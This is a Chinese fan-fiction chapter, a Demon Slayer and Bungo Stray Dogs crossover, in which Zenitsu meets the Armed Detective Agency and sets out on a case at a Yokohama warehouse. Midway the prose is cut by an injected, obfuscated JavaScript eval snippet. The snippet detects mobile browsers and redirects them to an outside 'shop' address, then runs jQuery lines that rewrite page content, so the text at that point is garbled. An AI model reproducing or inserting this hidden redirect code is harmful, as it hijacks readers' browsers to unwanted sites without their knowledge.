善逸维持着鞠躬的姿势,然后他听见了一声极轻的叹息。
“起来吧。”
福泽谕吉的声音从头顶传来,没有什么起伏。
他直起身,对上那双灰色的眼睛。
福泽低头看着他。这个孩子很小,骨架纤细,穿着古朴的墨绿色练功服,怀里抱着一把木刀,眼圈还是红的,鼻头也是红的,整个人看起来很委屈。
但那双金色的眼睛亮得吓人,像是有太阳在里面。
福泽没有说话,但他伸出手,放在了善逸的头顶上。
那只手放在我妻善逸头上有些分量,但是不重。他能感受到面前的男人是在安慰他。
“你先在这里住下。”福泽把手收回来,“找你家人的事情,侦探社会帮你的。”
“谢、谢谢您!”善逸又要鞠躬,被一把抓住了。
抓住他的是中岛敦。“善逸,社长不喜欢别人老是鞠躬的。”
“啊?”善逸僵住了,不知道该继续弯着还是直起来。
福泽看了中岛敦一眼,中岛敦把手松开,不好意思地笑了笑。
这时候,一个脚步声从走廊那头传来,脚步声很稳,不快不慢。
然后一个声音响起来。
“呀,都在呢。”
善逸转头。
门口站着一个女人。
她穿着一件深色的连衣裙,外面套了一件白色的袍子,齐肩的短发随着她的动作一晃一晃的。她的五官很清晰,看起来很精神。
“与谢野医生。”中岛敦首先开口打招呼,“早上好呀。”
与谢野晶子朝他点了下头,目光越过敦,落在善逸身上,上下打量了一遍。
“这就是你捡回来的那个小孩?”她走过来,站在善逸面前,居高临下地看着他,“听说你是被雷劈过来的?”
善逸点了点头。
与谢野盯着他看了一会儿,忽然伸手捏住他的下巴,把他的脸转过来转过去,像在检查一件货物的成色。
善逸整个人僵住了,脸腾地红了。他被女孩子搭过话,被女孩子骂过恶心,但从来没有被女孩子这样捏着脸看来看去过。
“营养状况看起来很一般。”与谢野松开手,把结论丢给福泽,“有轻微的贫血迹象,可能长期饮食不规律。皮肤状态也不好,睡眠不足。”
善逸瞪大了眼睛,这个人刚刚只是在看他的脸而已,看了几秒钟就能说出这么多东西来?
与谢野注意到他的表情,挑了挑眉。“怎么了?”
“没、没什么!”善逸连忙摇头。
“我是武装侦探社的专属医生。”与谢野说,嘴角微微弯了一下,“你要是受伤了可以来找我,保证能让你复原如初。”
与谢野晶子说完这番话,空气明显有些凝滞。
中岛敦嘴角保持微笑,眼里却好像没有了光,他就这样看着善逸,似乎想要就这样分享一下自己的绝望,好让面前的小孩见识到与谢野的厉害。
善逸看着她的笑容,后背一阵发凉。
“与谢野。”福泽的声音从里屋传来,“别吓他。”
“我没有吓他,社长。”与谢野收回目光,朝里屋走去,“我只是在陈述事实。”
*
善逸坐在沙发上,被三四个人的目光同时注视着,整个人缩成了小小的一团。
中岛敦坐在他旁边,国木田独步坐在对面,手里拿着一个笔记本,正在写着什么,眉头皱得很紧。
谷崎直美坐在善逸对面的茶几上,双手托着下巴,笑眯眯地盯着他看。谷崎润一郎坐在妹妹旁边,看起来有些无奈,但没有阻止。宫泽贤治蹲在善逸脚边,仰着头看他,像一只好奇的小狗。
“……所以,你真的会挥刀?”贤治问。
“会的。”善逸抱紧木刀,“爷爷教过我。”
“那你能用刀砍断石头吗?”
“那种事情……这么想好像都不可能发生……”
“那你能用刀挡住子弹吗?”
“不,这种事情,似乎也不太可能。”
我妻善逸有点崩溃,能不能不要再问这些奇怪的问题了!!!
谷崎直美忽然开口:“善逸君,你刚刚说自己十三岁吧?”
“……对。”
“十三岁!”直美的眼睛亮了,“那你比敦君小四岁呢!敦君,你要好好照顾人家哦!”
中岛敦点了点头,“我会的。”
善逸看着中岛敦,想说“我不需要照顾”,但他想起刚才敦递给他的热牛奶和三明治,想起敦蹲在街边问他“你还好吗”的样子,话到嘴边变成了:“……麻烦你了。”
中岛敦愣了一下,然后笑了。
那个笑容干干净净的,像春天的风。
善逸想,这个世界虽然奇怪,但好人好像还挺多的。
就在这时候,一个脚步声从楼下传来。
噔噔噔噔噔。
很急,很快,像有人在被什么东西追着跑。
善逸的耳朵动了动,听见了那个人的心音——密密麻麻的,像爆米花一样噼里啪啦往外蹦,全是“迟到了迟到了迟到了”“昨天玩太晚了”“乱步大人怎么会犯这种错误”。
善逸还没来得及反应,门被猛地推开了。
“我到了!”
门口站着一个青年。
他看起来二十出头,穿着一件深色的立领外套,里面是一件条纹衬衫,领口微微敞着。他的头发是黑色的,带着个帽子,露出的发丝有些凌乱,像是刚从床上爬起来没来得及梳。他的眼睛细长,瞳孔是深棕色的,此刻正瞪得大大的。
但最引人注目的是他手里拿着的那个东西,一袋粗点心,已经被吃了一半,包装袋敞着口,碎屑掉在地上。
善逸看着那个青年,又看看地上的碎屑,然后又看看那个青年。
这个人就是昨天那位一言断定自己不是这个世界的人。
“乱步先生。”国木田独步喊他。
“早上好。”江户川乱步走进来,语气轻快,他走到我妻善逸面前。
善逸被他看得汗毛都竖起来了。
“嗯……”乱步直起身,歪了歪头,“你的听力异于常人,对吧?”
善逸瞪大了眼睛:“你怎么知道?”
“嘛嘛。”乱步咬了一口点心,“毕竟我可是无所不知乱步大人啊!”
善逸张了张嘴,说不出话来。
“乱步先生是侦探社的‘终极武器’。”中岛敦小声对善逸说,“他的推理能力……”
“不是推理。”乱步咬着点心,含混不清地纠正,“是‘超推理’。只要给我看一眼,这个世界上就没有我解不开的谜题。当然,我的头脑本身就是一种异能力,不是普通人能比的。”
“异能……力?”善逸困惑地重复。
中岛敦愣住:“你不知道异能力?”
“不知道。”善逸诚实地摇了摇头,“我只知道挥刀和跑步。”
房间里安静了一瞬。
福泽没有回应国木田的目光,他看着善逸,灰色的眼睛里没有什么表情。</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17536072|203811||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
这时候,一直没被人注意到的太宰治从沙发里幽幽地喊道。
“社长。”他的声音懒洋洋的 ,“今天有什么安排吗?”
福泽看了他一眼,然后走到桌边,从成堆的文件夹里抽出一张纸。
“警方的请求。”他把纸放在桌上。
国木田第一个凑过去,扫了一眼纸上的内容,眉头拧成了一个结。
“又是自杀事件?”他抬起头,“这个月第三起了。”
“不是单纯的自杀。”福泽说,“警方在调查后得出结论,这几起案件有共同点——死者在死前都出现过异常的暴力倾向,而且他们是在睡梦中死去的。”
“所以委托我们调查。”太宰治点了点头,嘴角微微弯了一下,“有意思。”
“乱步。”福泽叫了一声。
乱步还在吃点心,闻言抬起头来。
“你带着与谢野和这个孩子一起去。”
房间里安静了。
善逸以为自己听错了,他指了指自己的鼻子,声音发颤:“咦?!我、我也要去吗?”
“你不是说自己是保镖吗?”福泽的语气没有任何商量的余地,“保镖就应该跟着出任务。”
善逸张了张嘴,又把到嘴边的话咽了回去。
“我、我去。”他站起来,双腿有些发抖,但声音意外地稳住了,“我会努力的。”
与谢野看了他一眼,没有说什么。
乱步把最后一块点心塞进嘴里,拍了拍手上的碎屑,走到善逸面前。
“走吧,小朋友。”他弯腰看着善逸,眼睛弯弯的,“让你见识见识,我的异能力。”
任务地点在横滨东部的港口仓库区。
太阳升得很高,把整座城市照得白晃晃的。电车从头顶的轨道上驶过,发出隆隆的声音,像远处的雷。
善逸坐在侦探社的车里,透过车窗往外看。
街道上的人越来越多了,男人穿着西装夹着公文包,女人穿着裙子踩着高跟鞋,小孩子背着书包跑跑跳跳。每个人都有自己的方向,每个人都有自己的声音,每个人的心里都装着不一样的东西。
那些声音太多了。
善逸闭上眼睛,用手捂住耳朵,深深地吸了一口气。
冷静,我妻善逸。你可以的。你连雷都扛过来了,这点声音算什么。
“紧张?”与谢野坐在他旁边,声音不大。
善逸睁开一只眼睛看她,点了点头,又摇了摇头。
“我第一次出任务。”他说,“在桃山的时候,我连训练都躲,从来没有真的打过什么,我胆子太小了。”
与谢野还没回他话,车就停了。
港口仓库区很安静。
这里离市中心有一段距离,周围没什么人。灰白色的仓库一排一排地码着,铁皮屋顶在阳光下反射着刺目的光。地上铺着水泥,裂缝里长出几棵野草,蔫蔫地趴在太阳底下。
空气里有一股海腥味,咸咸的,混着机油和铁锈的味道。
善逸下了车,抱着木刀,四处张望了一下。
这里的声音比市区少很多,只有远处的海浪声,和海鸥的叫声。
但他的耳朵捕捉到了不一样的东西。
粘稠的,充满恶意的,似泥水搅合的声音……
不像是人能发出来的声音。
“那边……有东西。”他下意识地说,然后反应过来,捂住嘴。
乱步回头看他:“哪边?”
善逸犹豫了一下,伸出手,指了指声音的方向。